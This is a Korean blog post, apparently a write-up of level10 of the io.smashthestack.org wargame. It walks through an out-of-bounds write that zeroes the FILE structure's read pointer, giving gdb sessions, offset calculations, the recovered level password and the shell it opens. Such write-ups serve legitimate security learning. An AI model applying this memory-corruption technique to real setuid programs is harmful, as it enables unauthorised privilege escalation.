티스토리 뷰

//written by andersonc0d3
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char **argv)
{
        FILE *fp = fopen("/levels/level10_alt.pass", "r");
        struct 
	{
		char pass[20], 
		msg_err[20]
	} pwfile = {{0}};

        char ptr[0];

        if(!fp || argc != 2)
                return -1;

        fread(pwfile.pass, 1, 20, fp);
	pwfile.pass[19] = 0;
        ptr[atoi(argv[1])] = 0;
        fread(pwfile.msg_err, 1, 19, fp);
        fclose(fp);

	if(!strcmp(pwfile.pass, argv[1]))
	{
                execl("/bin/sh", "sh", 0);
	}
	else
	{
		puts(pwfile.msg_err);
	}

        return 0;
}



오늘 푼 문제인데... 좀 많이 삽질을 했다.



	else
	{
		puts(pwfile.msg_err);
	}


이 부분에서는 "ACCESS DENIED..." 가 뜬다. 즉


fread(pwfile.pass, 1, 20, fp); fread(pwfile.msg_err, 1, 19, fp);

pwfile.pass는 파일의 0~20까지가 들어가며 우리가 구해야 할 password가 들어감.

pwfile.msg_err에는 파일의 21~40까지가 들어가며 틀렸을 경우 "ACCESS DENIED..."가 들어감


        ptr[atoi(argv[1])] = 0;


이 부분으로 password를 가져와야 함


[*] 시나리오

[1] fread로 두번 읽는데 만약 두번째, 즉 msg_err가 들어갈 부분에 password가 들어간다면?

[2] 파일 구조체에는 현재 파일요소를 가르키는 포인터가 있음. 그 부분을 0으로 만들면

msg_err에는 우리가 구해야 할 password가 들어감.

/tmp/err0rless10/ 디렉터리에다 직접 소스를 가져와서 gcc -g 옵션을 주고 컴파일함.

 fp나 pwfile등의 주소를 가져올 수 있음.


(gdb) p *fp

$29 = {

_flags = -72539000, _IO_read_ptr = 0xb7fde014 'A' <repeats 13 times>, "\n", 

  _IO_read_end = 0xb7fde022 "", 

  _IO_read_base = 0xb7fde000 "12345678901234567890", 'A' <repeats 13 times>, "\n", 

  _IO_write_base = 0xb7fde000 "12345678901234567890", 'A' <repeats 13 times>, "\n", 

  _IO_write_ptr = 0xb7fde000 "12345678901234567890", 'A' <repeats 13 times>, "\n", 

  _IO_write_end = 0xb7fde000 "12345678901234567890", 'A' <repeats 13 times>, "\n", 

  _IO_buf_base = 0xb7fde000 "12345678901234567890", 'A' <repeats 13 times>, "\n", 

  _IO_buf_end = 0xb7fdf000 "d\360\375\267\323\300\377\267", _IO_save_base = 0x0, 

  _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0xb7fcf580, 

  _fileno = 7, _flags2 = 0, _old_offset = 0, _cur_column = 0, 

  _vtable_offset = 0 '\000', _shortbuf = "", _lock = 0x804a0a0, _offset = -1, 

  __pad1 = 0x0, __pad2 = 0x804a0ac, __pad3 = 0x0, __pad4 = 0x0, __pad5 = 0, 

  _mode = -1, _unused2 = '\000' <repeats 39 times>

}


_IO_read_ptr이 현재 파일 콘텐트중에 어디를 가르키고 있는지 저장해둠.


_IO_read_ptr = 0xb7fde014 'A' <repeats 13 times>, "\n"


_IO_read_ptr이 우리가 변조해야 할 포인터임.

그런데 말 그대로 포인터.. 0xb7fde014를 가리키고 있음.


(gdb) p &fp._IO_read_ptr

$30 = (char **) 0x804a00c


(gdb) x/50wx 0xb7fde014

0xb7fde014: 0x41414141 0x41414141 0x41414141 0x00000a41

0xb7fde024: 0x00000000 0x00000000 0x00000000 0x00000000



현재 ACCESS DENIED... 에 해당하는 AAAAA..를 가르키고 있음.

생각해봐야 할것은 AAAA를 가르키고 있다는건 현재 포인터가 21에 위치해 있다는 것이다.

0xb7fde014(21) 그러면 0이 가르키고 있는 곳으로 가보자.


(gdb) x/s 0xb7fde014 - 20

0xb7fde000: "12345678901234567890", 'A' <repeats 13 times>, "\n"


원래 패스워드에 해당하는 12345678901234567890과 포인터 21에 해당하는 A*13이 들어가 있음.


(gdb) p &ptr

$32 = (char (*)[]) 0xbffffc64

(gdb) p (int)&fp._IO_read_ptr - (int)&ptr

$34 = 1208263592


차이는 1208263592.


(gdb) r 1208263592

Starting program: /tmp/err0rless10/level10 1208263592

1234567890123456789


하지만 바이너리가 달라서 주소도 다름.

원본 바이너리에서 다시 구해야함. ASLR이 걸려 있지 않기 때문에

_IO_read_ptr의 주소는 같음.


in 원본 바이너리

(gdb) stepi

0x080485d3 in main ()

(gdb) x/100x $ebp-0x58

0xbffffc60

(gdb) p 0x804a00c - 0xbffffc60

$1 = 1208263596


level10@io:/levels$ ./level10 1208263596

AverYloNgPassword!!


패스워드를 구했다.


level10@io:/tmp/err0rless10$ /levels/level10 `python -c 'print "AverYloNgPassword!!"'`

sh-4.2$ whoami

level11


'Pwnable > io.smashthestack.org' 카테고리의 다른 글

[io.smashthestack.org] level09  (0) 2015.01.05
[io.smashthestack.org] level08  (0) 2015.01.04
[io.smashthestack.org] level07  (0) 2015.01.04
[io.smashthestack.org] level06  (0) 2015.01.04
[io.smashthestack.org] level05  (0) 2015.01.04
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함